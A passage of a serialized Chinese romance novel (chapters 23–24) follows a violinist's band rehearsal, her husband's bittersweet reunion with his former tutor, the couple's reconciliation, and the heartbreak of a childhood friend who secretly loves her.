旁边的几个管理层都不敢置信地看向朱高远,朱高远却是含笑打岔,“年轻人总有自己的生活嘛,跟我们这些老家伙又不一样,再说了,一顿饭而已,什么时候不能吃。” 陆照霜承朱老师的情,微微朝他们欠身后离开。 回到休息室换衣服的间隙,这条首席和管理层起了冲突的八卦,已经传得满天飞。 唐颖靠着窗台,跟同伴阴阳怪气了句,“到底是首席架子大,说不去吃饭就不去。” 陆照霜却已经不愿再费心搭理她,拿起自己的东西就转身要走,正撞上汪嘉文复杂的目光。 “照霜,真的不去吗?感觉我们好久没有私下聚聚了。” 只有这一刻,陆照霜心头泛起酸楚,“抱歉,嘉文,我最近有点忙。” “唉,算了算了,你去忙吧。”汪嘉文摆摆手,状似平常地转头走了。 陆照霜手指攥紧琴盒的背带,垂头在原地静站片刻,却还是转身走向门口。 郁思弦单手插兜,等在那里,似乎是听闻了什么,目光从她面上轻轻扫过,观察着她的神色,“阿照,没事吧?” 陆照霜摇了摇头,盯着他看了一会儿,忽地一笑,“思弦,突然想起你之前跟我说,如果能有个出口,当下就不会太难捱。但对我来说好像不是那么回事。” 郁思弦探究地看着她。 陆照霜回头,望向走廊深处忙忙碌碌的乐团众人,就像隔着幕布在看一部电影,有种抽离感。 她声音很轻:“那些我本来可以接受的,好像也变得难以忍受了。” 郁思弦顺着她的视线望去,敏锐地明白了她的意思,“后悔吗?” 陆照霜笑了,“就是说啊,我怎么都不觉得后悔呢?” 虽是疑问的语气,她此刻却不愿去想为什么,只想奔向她的心之所向。 “思弦,我们走吧。” 23/ 第23章 ◎见喜欢的人都是跑着去的。◎ 郊区音乐综合体的排练房内。 陆照霜跟逃出人间的乐队成员们将明天的演奏曲目合了好几遍。 她耳力很好,又在申城交响乐团这种百来号人的大型乐团中担任首席,早就锻炼出了找问题的能力,更何况现如今他们只有5个人。 排练时间远比预想中结束得要快。 高若涵感觉从加入乐队以来,从没这么顺过,她做梦一样迷迷糊糊道:“姐姐,你好厉害,要是我领导说我的时候,也能像你一样好懂就好了。” 她夸得实在太过真诚,陆照霜都有点不好意思了,“倒也没有,那么厉害吧。” 唐湾手里还握着鼓锤,若有所思地往陆照霜和林珩这边看过来,“这两首曲子的风格好像和以前不太一样。” “老唐,还是你了解我!没错,作曲人还包括我们这位新的小提琴手呢。”林珩与有荣焉地朝陆照霜努了努下巴。 “哇,姐姐你还会作曲啊!”高若涵更星星眼了。 “算不上,我只是提供了一些修改意见。”陆照霜扶额,很难很想象,这几个人是怎么能凑到一块组乐队的。 唐湾眼神更加意外。 那天林珩执意要邀请陆照霜来助演就够让他吃惊了,现如今,陆照霜能参与到这种程度,就更是难以想象。 他下意识望向另一边。 最靠窗的位置,郁思弦坐在微微飘扬的纱帘旁,衬衫挽到小臂,捧着平板读着什么,耳边还挂着耳机。 有时候他会出去接个电话,更多时候就是在一边做自己的事,偶尔抬起头,看一会儿他们的排练,或者说,看一会陆小姐排练。 不焦躁也不意外,好像现在的状况也在他预料中似的。 从那天,郁思弦带着陆照霜敲开他们的门开始,就有种被他牵着鼻子走的感觉。 察觉到有人注视,郁思弦从平板上抬起头,和唐湾对上视线,而后,微微笑了一下。 那笑容简直像是在说:是又如何呢? 被一个小自己这么多人的人算计在内,唐湾心情复杂,但他生性温吞,什么都没说,就默默把杂乱的思绪咽了下去。 倒是徐勿凡厌倦地扯了扯嘴角,“既然没什么事,我就先走了。” 林珩下意识问:“这么快就走吗?” “嗯。”徐勿凡看都没看他,拎起包推门而出。 高若涵呆了一下,抄起自己东西急忙跟出去,“勿凡姐等等,我跟你赶一班地铁!” 在楼道里追上徐勿凡,她喘了两口气,偏头看着徐勿凡的神色,小心翼翼问:“勿凡姐,你是不是不太喜欢照霜姐和思弦哥啊?” 虽然徐勿凡一直都是一副冷淡厌世的表情,但认识了这么久,高若涵还是能看出点区别的。 上次见到徐勿凡这种隐晦的厌恶,还是郁思弦出现在他们身边的时候。 明明都是来帮助他们的。 徐勿凡垂眸,“嗯,不喜欢。” 高若涵被徐勿凡的直白整不会了,“那,那姐姐你当时为什么要帮照霜姐说话呢?” 徐勿凡盯着旁边玻璃门上照出的她的模样,笑了笑,既像是讥讽,又像是自嘲。 “他们那种什么都有的人,不会缺哪一个人的喜欢;而我全世界讨厌的人太多了,多一个少一个又有什么关系?” * 萧烨独自坐在清吧的一楼卡座,手机搁在桌面上,时间一分一秒流逝,他等的人还没有到来。 他晃着手里深红棕色的鸡尾酒,并不焦躁,只是微微出神。 很多年来,他以为白斯榕早已从他的记忆里褪色,但再见时,那段意味着少年耻辱的印记,还是重新涌了上来。 那是他最叛逆的年岁,心里藏着一把火无处燃放,讨厌一切规则、说教、束缚,无论是学校还是家里,都鸡飞狗跳一地鸡毛。 白斯榕从出现的那一刻,就是那些束缚之一。 二十一岁的女孩站在家门口,扎着马尾辫,戴着厚重的黑框眼镜,穿着规矩体面的T恤长裤,礼貌地跟他的父母打招呼。 萧烨趴在二楼栏杆看了一眼,就转头回了卧室。 他的新家教,申城大学大三的高材生。连她背着的双肩包都沉闷乏味,让人碍眼。 只不过她讲课的方式倒比从前那些人多点意思,他偶尔愿意的时候,也还能听得进去。 但也到此为止,再无其他。 直到某天晚餐,他听到爸妈在议论,说章阿姨因为身体原因,终于还是被申城交响乐团劝退了。 他心里“咯噔”一下,扔下手里的筷子说“我不吃了”就冲出去。 赶到陆照霜家里的时候,郁思弦已经到了,正温声劝解章若华,陆叔叔显然已跟章若华吵过,气鼓鼓地坐在沙发另一边,一根接一根地抽烟。 琴房里还传来小提琴的声音,一遍遍拉错、一遍遍重复,他知道,阿霜就在那里。 但他不能去。 他不能刺激章阿姨,他只能留在这里,和郁思弦一起帮章阿姨平复情绪。 在他们两个小辈面前,章若华不好发火,便默认了他们带走陆照霜的请求。 于是他终于可以去见阿霜。 少女颈边还抵着小提琴,看到他们进来,唇角颤动了一下,然后勉力勾起,“你们来啦。” 她声音哽咽,眼眶还泛着红,是在他们赶来之前,战争留在她身上的残余。 萧烨再也看不下去,冲过去拉住她的手就往外走。 客厅里,章若华还在那里叮嘱陆照霜今晚应该完成的练习。 郁思弦镇定地答应,“阿姨,您放心,我会帮忙看着阿照的。” 郁思弦一贯的稳重懂事赢得了长辈的信赖,他们成功逃出陆家。 萧烨拉着陆照霜径自走到单车旁,朝她拍了拍后座,“走,我带你去吹吹风。” 阿霜显然还处在刚在的风暴里,即便眼里闪过一丝光亮,也很快黯淡下去,“可我还得练习。” 他看着阿霜被章阿姨打得肿起来的左手,胸口好像堵了一口酸涩到鼓胀的气,“这还练什么练!” 就在这时,郁思弦在后面插进来一句,“情绪激动的时候练习也不会有什么效率的,阿照,去玩吧,没关系,如果章阿姨问,我会帮你挡过去的。” 他神情温和地朝阿霜伸出手,阿霜犹豫了一会儿,也就将小提琴交到了他手里。 郁思弦抬头看了他们一眼,“也不要太晚了。” 萧烨:“知道。” 他和郁思弦朋友多年,谈不上性格合拍,但唯独在阿霜的事上,只需一个眼神就心领神会。 他踩上单车,阿霜坐在他的后座,双手牵着他的衣摆,“我们要去哪里?” “不知道,哪里绿灯亮了就去哪里。” 阿霜因为他这句话笑了一下,但又很快沉默了下去。 在一个陡峭的下坡,阿霜因为惯性撞上了他的后背,然后,他察觉背上的T恤被濡湿了。 他没有问阿霜发生了什么、在哭什么。 他只是一个劲地踩着单车,从申城一个又一个绿灯下穿过,直到阿霜的情绪慢慢平复。 好像那一切不快,都被一道道红灯锁在了身后。 忽然,萧烨目光从街边扫到一个眼熟的身影,猛地刹住车。 不知不觉,他竟然已经骑到了申城大学附近。 而那个之前把古板无趣写在身上的女孩,坐在石台上,去掉了眼镜,大波浪垂在身后,穿着吊带衫和热裤,嘴上还叼着一根燃到了一半的烟头,看起来漂亮耀眼,又烦得要命。 有几个男人凑近了跟她搭讪,大约是纠缠得有些久了,白斯榕把烟取下,冷冷看了那几人一眼,那几人便讪讪走了。 从她的口型,萧烨觉得她说的应该是“滚”。 他那位老实本分、规矩死板的白老师,私底下原来是这样的人? 他极有兴味地挑起眉,单脚踩在地面上,掏出手机,拍了张照。 “怎么了?”阿霜探头问。 “没什么,”他顺手在阿霜脑袋上揉了把,“我们回去吧。” 回程的路上,他们再次遇见那个上坡。 阿霜忧心忡忡地问:“我会不会很重啊?” 他咬紧牙关,却还尽力装作若无其事,“没事,你轻得跟从没吃过饭似的。” 但阿霜还是从后座上跳了下来,双手撑着后座,帮他往上推。 萧烨感觉耳朵都红了,心想不能再这么失策了,他下次该骑电动车的,“都说了我载得动你啊!” 橘色的路灯在她身后闪烁,少女就用她那双被眼泪浸润过后的眼睛看着他,简直比路灯还亮,“可我不想你那么累啊。” 萧烨心情一瞬间变得非常奇怪,“阿霜你真的!” “什么?” 他跳下车,一只手扶着车把往上推,一只手把阿霜的头顶揉得乱七八糟,咬牙切齿地说:“是笨蛋!” 等他们推推搡搡偷溜回郁思弦家,郁思弦给他们比了个一切太平的手势。 一场风波就这样平息。 阿照重新开始练琴,果然不像之前那样反复出错,郁思弦坐在旁边的椅子上听。 萧烨一头栽倒在懒人沙发上,拿出手机,看着拍到的那张像素模糊的照片,半晌勾了勾唇角。 再见白斯榕,他十分认真地听完了课。 白斯榕推了推眼镜,很欣慰地说:“你今天的状态很好,继续保持,期末未必会再输给你那个姓郁的朋友。” 但萧烨对考赢郁思弦毫无兴趣,他有兴趣的是别的。 “我觉得白老师如果能用这种样子来教我,我肯定能听得更认真。”他装模作样把手机照片推过去,笑盈盈地看着她。 白斯榕目光落在手机上,先是一愣,随即仔细端详萧烨的神色。 如果换了别人说这句话,她会觉得有性骚扰的嫌疑,但少年眼里只有一种兴奋的促狭,纯粹是——“哈哈,被我抓住你的小辫子了吧”的意思。 好幼稚,白斯榕在心里默默想。 “这就是我给中学生做家教的工服,”她开始有条不紊地收拾自己的课件,“想看那种?小孩,等你成年了再说吧。” 萧烨在她身后,声音气急败坏,“你说谁小孩呢?” 白斯榕背上书包,回头看了他一眼,笑着补充了一句,“更正一下,是小学生。” 她下楼的时候,看到一个十六七岁的少女正坐在客厅,吃着一块不知道是什么的点心,萧母坐在少女旁边,轻抚少女的头发,眼神十分慈爱。 白斯榕头一次知道,这个冷酷的女人对她儿子以外的人,也能如此和善。 听到动静,少女转过头来,看见她,有些茫然。 “阿霜,这是小烨新来的家教,唉,他要是能有你和思弦一半听话就好了,”萧母先介绍完,又对白斯榕笑道:“白老师,今天也辛苦你了,我们小烨最近成绩进步挺大的。” “阿姨客气了,这是我应该的。”白斯榕连忙道。 “姐姐你好,”少女礼貌跟她打了声招呼,转头对萧母说:“那阿姨,我先去找萧烨啦。” 萧母朝她摆摆手,“去吧去吧。” 然后少女就噔噔噔跑上了楼梯,白色的裙摆和飞扬的马尾在身后飘啊飘的。 白斯榕脑子里突然就闪过一句话——见喜欢的人都是跑着去的。 她摇了摇头,不再多想,心里计算着距离留学还需的费用,然后推开萧家的门走了出去。 那时候一切变故都还没有发生,少年和少女过着他们的青春,白斯榕积攒着自己渴望的未来。 她无论如何都想不到,事情会变成后来那样。 “唉。” 白斯榕在酒吧门口驻足许久,叹了口气,终于还是推门而入。 那人如同少年时一样,亮眼得让人一眼找出。 她径自走过去,在萧烨身边的卡座坐下。 萧烨偏头看过来,笑道:“你来了?白老师。” 24/ 第24章 ◎拥她入怀◎ “甲方有约,我总不能推脱。” 白斯榕从容地搁下包,脱下外套搭在椅子上,这才转头看萧烨,“不过,我现在该怎么称呼你,萧总?” 萧烨笑了声,“怎么说白老师也算我的老师,当然是想怎么叫就怎么叫,白老师什么时候这么客气了?” 白斯榕从善如流,“萧烨。” 心里却暗自腹诽,难道不是他上次借着学校众人的势,迫使她不能不低头的吗? 萧烨仿佛是看穿她的内心想法,左手手肘倚在桌上,侧过半个身体,饶有兴致地欣赏着白斯榕的神色,“白老师,形势所迫,被那群糟老头子逼着讨好我的感觉怎么样?” 白斯榕接过酒保递来的酒,懒懒地尝了一口,“萧烨,对你来说,这可能是很耻辱的事情,但对我们大多数人来说,这只不过是生活的常态而已。” 萧烨“哦”了一声,一脸夸张的惋惜,“但白老师原本不必承受这些,反而可以成为被讨好的那一方,不是吗?” 白斯榕长睫微垂,他这次主动找上她,为的果然就是这件事。 酒杯被重新搁在大理石台面上,白斯榕认认真真看着萧烨的眼睛,“你很希望我后悔吗?” 萧烨垂下眸,手指有一搭没一搭地摩挲着酒杯杯壁,嘴角似有似无地扬起。 他很希望白斯榕后悔吗? 当然、当然。 他已记不清,自己当年究竟是如何喜欢上白斯榕的。 最初,只是觉得她的两副面孔分外有趣,所以总是想方设法刺激她,试图逼出那个夏夜他偶然瞥见的另一面。 可无论他做什么,隔着四岁的年龄差,白斯榕站在岸对面,像是隔着一道天堑,洞若观火又一笑置之,让他一次次无功而返。 明明是很挫败的事情,但他的视线却越来越无法从她身上移开。 与同龄的女生相比,不可触及又捉摸不定的白斯榕,对他有种致命的吸引力。 少年慕艾,发现自己的心意并不是一件难事。 下一次捉弄,从盒子里跳出来的,不再是稀奇古怪的动物,而是捧着玫瑰花的小王子。 萧烨趴在桌面上,笑吟吟等着白斯榕的反应。 小王子金黄灿烂的头发和娇艳欲滴的玫瑰,倒映在白斯榕的眼睛里。 她愣愣地盯了好一会儿,最后闭了闭眼,还是平静地将盒子合上,推还给他,“小孩,这种小把戏只对未成年女生管用,留着送给别人吧。” 小孩、小孩,*永远是小孩。 他就不懂了,小孩是犯天条了吗? “也就四岁,”他把自己精心准备的礼物紧紧攥进手里,固执地盯着她,“白斯榕,你也就比我大了四岁,别拿我当小孩。” 白斯榕听得笑了,单肩背上书包,朝他摆摆手。 然而在她握住门把手的那一刻,却忽然顿了顿,背对着他说:“等你成年了再跟我说这句话吧。” 萧烨腾一下就从椅子上站起来了。 然而,还没等到他成年,下一次家教课,白斯榕消失了,取而代之的,是一个三十岁左右的男家教。 萧烨懵了下,跑去楼下询问白斯榕的下落。 “小声点,你想让你爸知道吗?!!” 母亲严厉地喝止了他,然后把他拉进书房,尽力平复了一下语气,淡淡道:“是我最开始考虑不周,小白年纪太轻,做家教还是太没经验了。” 萧烨不服地嗤笑一声:“那我这几个月的成绩是白长了?你想换家教,行啊,反正听不听是我的事。” 下一秒,落在他脸上的就是一巴掌。 萧烨愣住了。 那只刚打完他的手,揉上了他被打红的半张脸,动作轻柔。 “平时你闹腾也就算了,但我雇来的家教想和我的儿子勾搭在一起,呵,她也配?我不会允许这种丑事发生在我家里。” 母亲嘴角勾起温和的弧度,眼里却是从未有过的轻蔑和冷厉。 萧烨浑身冰冷,感觉自己像是头一次认识母亲一样。 “是我主动追白老师的,和她没关系。” 母亲像是听到了什么笑话,“让你生出这种心思,还放任下去,就已经是她看不清自己的身份了。” 这话太刺耳了,他再也听不下去,“啪”一下挥开了母亲的手,夺门而出。 母亲的声音追在他身后,像甩不开的诅咒,“小烨,你总会明白,身份不同的人,是走不到一起的。” 萧烨不知道白斯榕住在哪里,只能在申城大学机械与自动化学院门口等她。 从早晨等到晚上,他终于见到白斯榕抱着课本,和几个女生一起结伴走出。 他立刻站直身体,朝白斯榕走去,“白——” 女孩的目光扫过他,就像扫过一片空气,然后目不转睛地从他身边穿过。 萧烨愣了愣,固执地又叫她:“白斯榕!” 女孩的脚步停住,肩膀耸动了一下,又松开,像是经历了什么艰难的心理挣扎,然后告别了同伴,朝他走来,“萧烨。” 刚才白斯榕无视他的事情,一下子就被他忘干净了,他急忙道:“你有没有事?我爸妈有没有为难你?” 白斯榕垂下头,看着自己的脚尖,“现在已经没事了,我马上就要出国读书了。” 萧烨脑子一懵,然后立刻道:“哪个学校?明年我也去申请那里,正好,到时候我就真的成年了,你不用再——” “萧烨。” 白斯榕冷静地打断他的幻想,“以后我们不要再见面了。” 萧烨浑身都僵住了,“我知道你现在觉得不行,但只要再等一年,我们都去国外,我爸妈管不到我们身上。” “哈,”白斯榕嘴角勾起一个嘲讽的弧度,“萧烨,你不明白吗?” “你在申城,我就得离开,但正巧我本来就打算出国,也就无所谓了,这是对我的生活影响最小的方式。可以后呢,我还要因为你一次次换地方生活吗?” “我不会让他们那么做的。” 白斯榕又笑了,她第一次,真真正正用看小孩的眼神,同情而怜悯地看着他,“萧烨,你做不到的。就像你根本不知道这段时间,你母亲对我做了什么一样。” “想必这么多年,你一定活得非常自由。但你没想过吗?那只是在你父母允许下的自由,没有他们的允许,你根本什么都做不到。” 萧烨感觉自己浑身的每一根血管和骨骼,都被她的话刺穿了,脑子里只剩一根快要崩断的线,在徒劳地做着最后的挣扎。 “可你那天明明说,等我成年了就可以,到时候我不会再——” 白斯榕不耐烦地打断他,“我承认,萧烨,假如我跟你一个年纪,说不定我真的会有点动摇,但我不是十几岁的孩子了,我不会拿我的人生,去赌一个小孩的成长。” “就这样吧,我不会再见你了,你也不要再来找我,那真的会给我添很多麻烦的。” 说完,白斯榕头也不回地朝着宿舍楼走去。 萧烨失魂落魄地回了家。 母亲坐在餐桌旁,慢条斯理地用着餐,在他闷头要回房的时候叫住他,“过来吃饭。” 他机械地坐到了母亲对面,一言不发。 “见过白斯榕了?知道她为什么能毫不犹豫地抛下你吗?” 萧烨抬眼看着母亲,双眼猩红。 母亲笑了,“你觉得是因为我?不,我的傻孩子,是因为你管不住情绪、随便就能让人看穿你的想法和软肋、偏偏又没有能力守住任何东西。不管是白斯榕还是我,你掌控不了任何人,就只能被人掌控、伤害、抛弃。” “所以啊,小烨,快点长大,做个能掌控别人的人吧。” 母亲优雅地擦了擦唇,离开前,轻柔地拍了下萧烨的肩膀,“从这个角度讲,我倒是真的感谢白斯榕,替我帮你上了这一课。” 白斯榕出国了,新的家教到任了,阿霜和思弦一无所觉、继续来他家玩闹。 所有一切全被掩盖,直到消失不见,像从没发生过一样。 无论是白斯榕的存在,还是他叛逆又草率收场的初恋。 他自小主意大、又叛逆,家长们总拿他没办法,因而他总能得到自己想要的。这是他平生头一回,感觉到深可见骨的失去。 失去的是白斯榕吗? 不,他一口喝下半杯酒,感受着那种灼烧喉咙的烈度。 失去的,是十七岁以前,那个无能、莽撞、天真、又纯粹的……他自己。 他怎么可能不想白斯榕后悔?他实在太想看到白斯榕和自己一样失去、否定过去的自己了。 “所以呢,”萧烨凑过去,用酒杯和白斯榕轻轻碰杯,几乎能从她眼里看到自己的倒影,“白老师,后悔吗?” 出乎意料,白斯榕坦然地笑了,“后悔啊。” 萧烨探究地看着她的眼睛。 白斯榕低下头,掰着手指头数,“我后悔的事可多了,看到别人中了彩票,后悔没买;看到被我拒绝的同学转头炒股成功在曼哈顿住着顶层公寓,后悔拒绝得太快;还有还有——” 她抬起头,把萧烨从上到下看了好几遍,狠狠叹了口气。 “看到当年追我的小孩竟然没长残,反而长得更帅了,后悔我没顶住压力坚持下去,否则,说不定如今也过上万事不愁的阔太太生活了。” 白斯榕看着自己蜷起来的手指,长长叹息:“萧烨,人心是经不住考验的。看到那种自己一辈子都难以企及的优渥生活,一点都不后悔的人,大概是拥有钢铁意志的圣人吧?” 萧烨静静看着这个嘴上后悔来后悔去,但语气却放松坦荡的女人,心里已有几分预感。 果然,下一刻,白斯榕双手一合,又展开,朝他示意空空如也的手掌,笑道:“我只是个普通人啊,后悔是很正常的事情,我也不觉得承认这一点有什么羞耻的。” “就算我羡慕那些没有被我选择的可能,也不妨碍我真的很喜欢我现在的生活,因为这才是我为我自己选择的人生,就算人生可以重来,我还是只会这么做。” 萧烨淡淡一笑,“白老师,你还真是一点都没变,不放过任何讲课的机会。” 白斯榕被看穿,也不恼,干脆把散落下来的碎发别到耳后,看着萧烨的眼睛,直白道:“萧烨,别总是回头,抓着那点不甘心过日子了,珍惜你现在的生活吧,连我都能看得出来,你的妻子有多喜欢你。” 没有说的最后半句是,你不是也很喜欢她吗? 那时候每次去做家教,小孩总缠着她,在他自己都没发现之前,她已经察觉到了小孩的变化,开始有意避嫌。 白斯榕觉得萧烨是那种嫌同龄女生都太幼稚,偏爱年上的类型。 可那天,课程还没开始多久,少年瞥了一眼手机,就忽然变了脸色,一句话也来不及交代,风一样从她身后穿过,扑到了楼下。 白斯榕好奇之下,走到阳台。 恰巧看到萧烨站在门口,双手捧着少女的脸,仔细地左看右看。 少女还带着苹果肌的脸颊被他挤得鼓起,像只气鼓鼓的小河豚,连连伸手拍他的手,示意他放开。 他不肯放,小心地把创可贴贴在了少女受伤的额头上,然后板起脸说了几句,少女被说得烦了,转头跑掉了。 两人的动作不带任何旖旎,却亲昵异常。 等萧烨回来,白斯榕故意揶揄他,“和小女朋友说话去了?” 萧烨瞬间瞪大了眼,仿佛听到了天方夜谭,“你瞎说什么呢,那可是阿霜!” 她故意逗小孩,“哦,是阿霜怎么了?” 萧烨几度张开了嘴,又憋不出一句话,最后闷闷地来了句,“阿霜就是阿霜,总之不是那么回事!” 既不在他厌烦的同龄女生之列,又不在作为异性的看待范围之内,独立于此外,只是阿霜的阿霜,对他来说,最后究竟会变成什么呢? 白斯榕曾经好奇过这一点。 后来,她知道了答案,他们成了夫妻。 可再见萧烨,她却觉得他比17岁时,还要分不清这一点了。 萧烨摩挲着自己无名指上的婚戒,不咸不淡地说:“早知道白老师这么祝福我,我结婚之前,该想办法给白老师寄请帖的。” 白斯榕“嘶”了一声,倒抽一口冷气,“饶了我吧,你们的婚礼礼金我可付不起。” 萧烨没什么情绪地笑了一声,抬手端起酒杯,将剩下的半杯酒一饮而尽。 “走了,白老师的酒记我账上,”他拎起外套,跟酒保交代了一句,又回头看她一眼,“回去记得叫代驾。” 白斯榕朝他笑笑,“你也是,注意安全。” 萧烨点了下头,转身离开,将酒吧的热闹锁在了身后。 申城的夏夜带着潮湿的晚风从他手臂上拂过,他抬头望着漆黑的天空,突然不清楚他究竟想要什么。 他所有的机锋和试探都被白斯榕挡了回来,而他执着的答案也再明显不过——无论萧烨如今变成什么样,白斯榕也不会后悔当初的选择,她还是过去的那个白斯榕。 他看不到她悔恨的样子,却发现自己也谈不上多失望。 或者说,就算白斯榕现在悔不当初,他就真的会觉得痛快吗? 萧烨学着白斯榕的样子,伸手张开自己的右手五指,垂眸凝视。 如果说,从白斯榕指缝中漏出的,是他们这些被她舍弃的选择,留下来的,是她给自己选择的人生。 那么,从萧烨指缝间漏出去的是什么,留下来的又是什么? 路边的劳斯莱斯打着双闪,是他的助理到了。 他不再多想,抬脚上了车。 坐在后排闭目养神,却始终能察觉一道通过后视镜偷看他的视线。 萧烨有些不耐,睁开眼看向助理,“出什么事了?” 助理猛地在路边刹住车,战战兢兢,将一只盒子递过来,“萧、萧总,这、这是之前寄到公司的,被其他东西挡住了,我一直没看到……” 萧烨没耐心听助理的辩解,接过以后就直接打开。 然后,怔在当场。 那是一张音乐会的门票。 从看到白斯榕的微博开始失序的时间,在此刻重新转动,与他真正的生活严丝合缝地楔在一起。 他立刻去看音乐会的时间,6月3号,就是今天……已经结束了。 这是他错过的第89次阿霜的音乐会。 门票落在他右手上,轻飘飘的,宛如一片羽毛,却丝线一样绑缚、缠紧,坠着心脏往下沉。 他闭上眼,将那张门票紧紧攥进掌心,沉沉地喘了口气。 助理手指绞成一团,心跳一声比一声剧烈,额头几乎要塞进膝盖里。 就在他快要无法呼吸的时候,他终于听到自家老板的声音。 “开车,送我回江源名苑。” * 另一个方向上,宾利也正在朝江源名苑开去。 陆照霜倚着车窗,侧头枕在手臂上,闭着眼睛,鼻腔里轻轻哼出今天和逃出人间训练的曲子。 郁思弦很快地从她脸上拂过一眼,“你今天好像比平时都更高兴一点。” “是这样吗?”陆照霜睁开眼,下意识伸手摸了把自己的脸,又乐了起来,“大概是真的吧。” 顿了顿,她神神秘秘地看着郁思弦,“我今天有了个新的发现。” “什么?” “其实就算我再怎么费力讨好别人,不喜欢我的人还是不会喜欢我,与其那样,不如就干脆一点,讨厌我就讨厌我吧,我也只做自己想做的事就好了。” 郁思弦听着她把这样理所当然的事情,郑重其事地说出来,眼里多了几分笑意,也没有出声打击她,而是煞有介事地赞同:“听起来不错。” 陆照霜“嗯”了声,又轻声道:“所以,等回去以后,我打算跟萧烨好好谈谈。” 郁思弦蓦然攥紧了方向盘,下意识回头看她,嗓音有种不寻常的沙哑,“你想跟萧烨,谈什么?” 陆照霜犹豫了一下,还是说:“一直没告诉你,我们两其实冷战了好一阵了。” 郁思弦默然,他当然早都看出来了。 “我们两一遇到矛盾就开始冷着,他也是我也是,但总是冷着处理,再多的感情也会被消磨光吧?我想我们两应该好好谈谈,上次的事情真要说的话,我也有错,如果我们都学会面对自己的问题,而不是一个劲地指责对方,也许就不会总是吵架,总是闹矛盾了。” 她想去找萧烨和好了,郁思弦感觉胸口涌起一阵腥甜。 他铺垫已久,带她从她现有的生活里逃离出去,希望她不再被束缚,能真心实意地开心起来,最后这一切导向的结果,怎么会是她想去找萧烨和好? 陆照霜抓了把头发,赧然一笑,“都结婚两年了,我怎么才明白这种事?” 好像被一只黑色的幽灵追上,脑袋隐隐作痛,侵蚀着他的理智,郁思弦听到自己的声音,“如果他不想和你谈呢?” 陆照霜呆了一下,像是没料到在这种她踌躇满志的时刻,郁思弦会突然浇她冷水。 郁思弦的理智在脑子里不断叫停,试图阻止这种可笑又低劣的诋毁。 喉咙却不由他控制,还在一句句道:“你还不了解萧烨吗?他不一直是那样的吗,只听他想听的,做他想做的,不接受别人的意见,也最讨厌别人试图管教他。” “阿照,他怎么可能会愿意听你好好说话?” 陆照霜眼里方才亮起的光,因为他这一连串打击,倏然又黯淡了下去。 郁思弦立刻就后悔了。 他变成了他最厌恶的那种人,被情绪支配、口不择言、在背后诋毁别人,那人还是他多年来的朋友。 他转头看着车道,喉头微微滚动,“抱歉,阿照,当我没说。” “哦,没事。”陆照霜笑笑,有些无措地别开了眼。 话已出口、木已成舟,郁思弦闭了闭眼,没有再多说什么,沉默着送她回家。 只是,在距离她家门口还有十多米的时候,他瞥见一个眼熟的身影。 萧烨倚着路灯杆,低头把玩着薄薄的什么东西,情绪看起来比平时要低很多。 听见汽车的声音,萧烨抬起头来,眯眼看着车牌号,然后在认出的那一刻,目光立刻上移,蜻蜓点水一样从郁思弦身上掠过,牢牢停在了副驾的陆照霜身上。 郁思弦同样偏头看向陆照霜。 她怔怔地与萧烨对视着,眼里再无其他。 郁思弦闭了闭眼,长呼出口气。 他真是,被这段时间和阿照的频繁交往惯坏了,连这样稀松平常、早都习惯了的事,都开始重新觉得……心痛了。 车子停好前,萧烨已走到了副驾近旁,陆照霜刚一下车,就落进了他的怀抱。 他牢牢搂着她,力道那么大,就好像拥着什么很重要的事物一样。 陆照霜身体僵住,呼吸都放得很轻。 她不知道萧烨这是怎么了,但她没忘记,上次她产生这种错觉,还是新婚的时候,最后他用话语,狠狠给了她一刀。 但今天的萧烨,只是紧紧埋头在她颈边,一字字道:“阿霜,抱歉,我不该错过你的演出的。” “上次吃饭,我不该跟你开玩笑的。” “这段时间……我不该撇下你一个人的。” 陆照霜愣住,之前预备好的一腔说辞,被堵在了萧烨突如其来的道歉里。 在她主动跟丈夫求和之前,丈夫先一步来跟她和好了。 这明明是件好事,她却仿佛半只脚悬空在台阶外,心中惴惴的,好像随时会狠狠摔一个跟头。 “你……今天突然是怎么了?”她迟疑着问。 萧烨手掌落在她削瘦的蝴蝶骨,眼里闪过一丝挣扎。 要告诉她有关白斯榕的事情吗? 固然他和白斯榕什么都没发生,但想起上次在酒店吃饭,只因他开了个有关初吻的玩笑,阿霜就冲进洗手间反复搓洗嘴唇,他就很快打消了这个念头。 阿霜是很容易多想的性格。 那些已经过去的事情,没必要再让她为此烦心。 电光火石间,他心念已定。 他松开陆照霜,转而拉住了她的手,站直了身体,认真凝视着她的眼睛。 “两年了,阿霜,我们已经浪费了两年的时间,从现在开始,我们做对正常的夫妻吧。” 陆照霜瞳孔瞬间放大。 这是她等了两年的话,她以为她还要再等两年、或者比两年更久的时间。 可他今天说了。 萧烨的瞳孔里倒映着她不敢置信的脸,却没有他往常一贯的捉弄和促狭,只是温柔专注地注视着她。 陆照霜猛地垂下头,咬住下唇,止住那股突如其来的哽咽,“嗯”了一声。 他们头顶的路灯灯光莹莹,小飞虫在灯下盘旋,小区静得出奇,只有树影里传来嗡嗡的蝉鸣,仿佛置身于一片旷野。 明明是这样的地方,陆照霜却觉得,她的新婚,从这一刻,才真正开始了。 * 郁思弦沉默地打开家门。 明明一滴酒都没有喝,他却觉得自己好像喝醉了,脑子里胀痛得厉害。 他扔掉眼镜,在模糊的世界里跌跌撞撞走上二楼,打开暗房,再一次坐在了地毯上,被那些密密麻麻的照片和物件包围了。 差一点,差一点。 他差一点就以为,自己可以站在真正的她身边,而不必再回到这里,怀抱着虚无缥缈的回忆,度过一个又一个毫无希望的白天。 他曾经用两年时间强迫自己接受这一点,他也几乎是真的,以为自己接受了。 如果从一开始,就什么希望都没有就好了。 怎么会在他以为自己拥有希望的那一刻,忽然给他致命一击。 告诉他,他还是只能回到这个角落,继续他孤单一人的后半生啊? 他可真是个笑话。 他勾起唇角,渐渐笑出声来,声音越来越大,忽然呛到气管,化为了猛烈的咳嗽。 他身体痛苦地弓起来,捂着腹部,咳得越来越剧烈,简直像要把内脏都咳出去。 不知过了多久,咳嗽才终于平息,他抬起自己猩红的眼睛,用手指抹了把唇角,然后走进洗手间洗漱。 再出来时,他神情已然平静,甚至到了一种空白的程度。 他从柜子里拿出药瓶,倒了一粒安眠药在手心,顿了顿,又多倒出两粒,就着水吞服了下去。 看着湖对面的小楼,他笑了笑,轻声道:“晚安,阿照。” * 陆照霜窝在沙发上,给郁思弦发消息:【你病还没好吗?】 郁思弦:【大概是感染了流感,过一阵就没事了,同学聚会你们两去就行,不用等我。】 陆照霜:【很严重的话,我陪你去医院吧。】 郁思弦:【不用,没什么大事,等明天你在搁浅演出的时候,我会到场的。】 陆照霜盯着屏幕,打字又删除,最后还是就此作罢。 